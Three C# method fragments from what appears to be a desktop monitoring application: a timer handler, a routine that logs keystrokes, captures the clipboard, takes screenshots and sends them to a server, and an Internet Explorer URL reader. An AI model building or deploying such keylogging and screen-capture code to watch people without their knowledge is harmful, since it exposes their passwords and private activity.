private static void TimerApp_Interval(Object o) { try { rehook(); if (!(Program.IsBlocked == true && Program.IsSendBlockData == false)) { //5.) Send Application and BrowerDetails AppTracker.fncAppTracker(); } GC.Collect(); } catch (Exception) { GlobalClass.WriteTolog("Error in TimerApp_Interval"); } }
public void SendToServer() { if (GlobalClass.CheckForInternetConnection()) { //1.) save Keybord test here GlobalClass.addKeyLoggerInfo(GlobalClass.KeyBordText, "KL"); //2.) save Clipbord test here GlobalClass.FncClipboard(); //3.) save Idle time here GlobalClass.WriteMachineIdleTime(GlobalClass.lastIdleMinute); //4.)Send Screenshot ScreenShot.fncScreenShot(); //5.) Send Application and BrowerDetails AppTracker.fncAppTracker(); //6.) Send All Local Session Data // GlobalClass.UploadLocalSessionData(); } }
public static void ReadBrowserUrlforIE() { try { if (HttpContext.Current != null) { HttpBrowserCapabilities objbrowser = HttpContext.Current.Request.Browser; } SHDocVw.InternetExplorer browser; SHDocVw.ShellWindows shellWindows = new SHDocVw.ShellWindows(); string filename; foreach (SHDocVw.InternetExplorer ie in shellWindows) { filename = System.IO.Path.GetFileNameWithoutExtension(ie.FullName).ToLower(); if ((filename == "iexplore")) { browser = ie; string Title = AppTracker.GetActiveWindowTitle(); GlobalClass.WriteTolog(Title); GlobalClass.WriteTolog(browser.LocationName); if (Title.Contains(browser.LocationName) && Title.Contains("Internet Explorer") && browser.LocationName != "") { if (browser.LocationName != browser.LocationURL && browser.LocationURL != OldUrlIE) { OldUrlIE = browser.LocationURL; string version = GetBrowsers("Internet Explorer"); WriteBrowserData(browser.LocationName, browser.LocationURL, "Internet Explorer", version); } } } } } catch (Exception e) { } }